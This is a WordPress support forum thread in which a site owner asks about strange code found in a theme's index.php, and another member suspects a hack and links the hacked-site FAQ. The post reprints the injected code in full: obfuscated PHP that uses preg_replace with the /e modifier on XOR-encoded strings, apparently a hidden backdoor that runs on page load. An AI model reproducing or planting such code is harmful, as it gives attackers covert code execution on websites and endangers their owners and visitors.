WordPress.org

Ready to get started?Download WordPress

Forums

Strange code in theme index.php (4 posts)

  1. steveb123
    Member
    Posted 7 months ago #

    I happened to look at the code for my Filmix theme today and was surprised to find the following code before the get header

    <?php
    /*yLnIp80npvH0CEmMVUgBwc2SUUd6c0VPJ9Xy5W
    HihJnJW0d3=OU1gpJ=kl962H3O6wkWTs622i=NgdF
    aVOEfNoGLj8SaKMLvjfcdWTAWhh1nBhDWwH20w8KV5cv
    */
    
    //RryksJHO0uPgxmR6dQraaBT3xXgtLuKda0CHIJW
    preg_replace("/lnqN5lqKRFlSYcEw0y9t0aI8cQFmm/e", "m9UMx2lQOkH=REhgPL27M5wSjX3soYNQWhcIXDZmogl6lIb2URwgLhzv5qdiEqyaMPijT8K8dw3E6T6OlqvxNjhHP=pTpct2sRaAOk9rW1vRIqftVQfj1BrEAVYpyHgfY7gmgdT3SEJauoJF6ooupUzqqMVdU20sweUS9oKQsTrb81h3dLl"^"\x08O4\x21P\x10\x057g\x02\x3bN71\x40\x3b\x0chme\x08d\x22\x169\x0chT\x0c1i\x0c\x7eHEoxl7\x09ZO0jH\x160w\x04\x0724\x183\x5d\x15\x5dV9\x40eLDAje\x0bXf\x0ax\x0e\x5c\x13\x02\x27\x01f\x04\x7b\x0eDDI\x2b\x09\x0c\x7dg\x0d\x15eDRD\x06\x40uHaiM\x19\x1b\x24B\x13\x26a\x2d\x3aP\x09\x03\x23\x3bd\x07\x21\x11\x1aq\x29\x18\x09\x17\x04\x09=R\x400NMtHs\x20\x3c\x00\x19G\x16\x1a\x120=0\x21\x00\x3f\x22\x25\x16q\x14=Bo\x10\x18\x010tdFpq\x16\x2c\x1b\x16\x10\x18S\x13\x19nE", "lnqN5lqKRFlSYcEw0y9t0aI8cQFmm");//NzLatwF4DLdWj7aU6ORnMswIJBNwoaR2OdQ8PW1S
    ?><?php
    /*rL6XtkjjLxw5a28thHJ7=MSn1AVBD89uH3H1bqYmcKg4Bclij
    i8xLxxgz1cwkkorZEWyry0Nr=pRiOBCx0z9wmdlc
    BfAs6FDtx3r=iro1O43Rp1FmmsFNJAkKgl3aq
    cw1bThFIw9=Cn1IOc1Up0UPI11=Qg5Z0
    a=wfHhdHjF9rUagoFf0UnzKmFqgeoMtDLfj
    *///kIYRcyyG5SFN65Yh=DDdsPMwarVtsXJSfik9WX
    preg_replace("/qJdlD2HC6KgmatY1aujIGs/e", "ww5v=A7lQECbFaNYoghgiXFOSaidMsf9eYseZoFpsHGxiULL1ssYExmWNK1Z3UXWtF1It6xbC5OlNZwCGeaLQCieMX5EsQabVQjEKWfNPtydHkgOD8ZU08yLUrPC9qeT8DXHZ3UplIHtso9vkWFiT4uok=rhpL1mONtoFCSqKaZ4DWnottL"^"\x12\x01T\x1a\x15c\x5e\x0ay\x2c0\x11\x23\x15f\x053C75\x2c\x09\x13\x0a\x0052C\x2e\x1bAdLyUCzG\x2b\x14F\x60\x1b\x24M\x0a\x1e\x09\x60\x266\x0a\x11\x23J4\x26lls\x13hewS\x27\x01\x2a\x17RKP\x7b\x02\x7f\x5d\x7b9\x15u\x7fPX\x293\x20\x0a\x00xl\x0d\x21DgTRgvCemqF\x27\x23\x07\x1c\x10\x607\x3bk\x1bj\x1f\x04e\x7d\x2a\x18\x0eU\x20\x2bI\x2e\x06\x3b\x5c\x21\x7f\x15s\x1au\x0bL\x2c\x3e\x15\x1fGe\x2aO\x08\x14\x2c\x05a0\x3c\x3ffU\x18\x18\x3cn\x0e\x20\x2a\x11H\x1bjhQ\x2e\x193\x40l\x7eUO\x09Ve", "qJdlD2HC6KgmatY1aujIGs");//QAkmYo2DyTo2Jw5D8aqWIEMiyvr6dHhtHGUfvKiieL
    ?>

    The site appears to be working fine. What does this code signify?

  2. RachelGoldstein71
    Member
    Posted 7 months ago #

    To me, it looks like it's been hacked.

  3. steveb123
    Member
    Posted 7 months ago #

    Hi Rachel,
    Thanks for your reply.
    That was my fear....what could a hack like that do? Or is that a stupid question? How could it have got there?

  4. RachelGoldstein71
    Member
    Posted 7 months ago #

    Hi Steve,
    I'm sorry... it's definitely not my area of expertise. And, I can't even say for sure, it's just a hunch.
    Check this out.
    http://codex.wordpress.org/FAQ_My_site_was_hacked

    Good luck.
    Rachel

Reply

You must log in to post.

About this Topic

Tags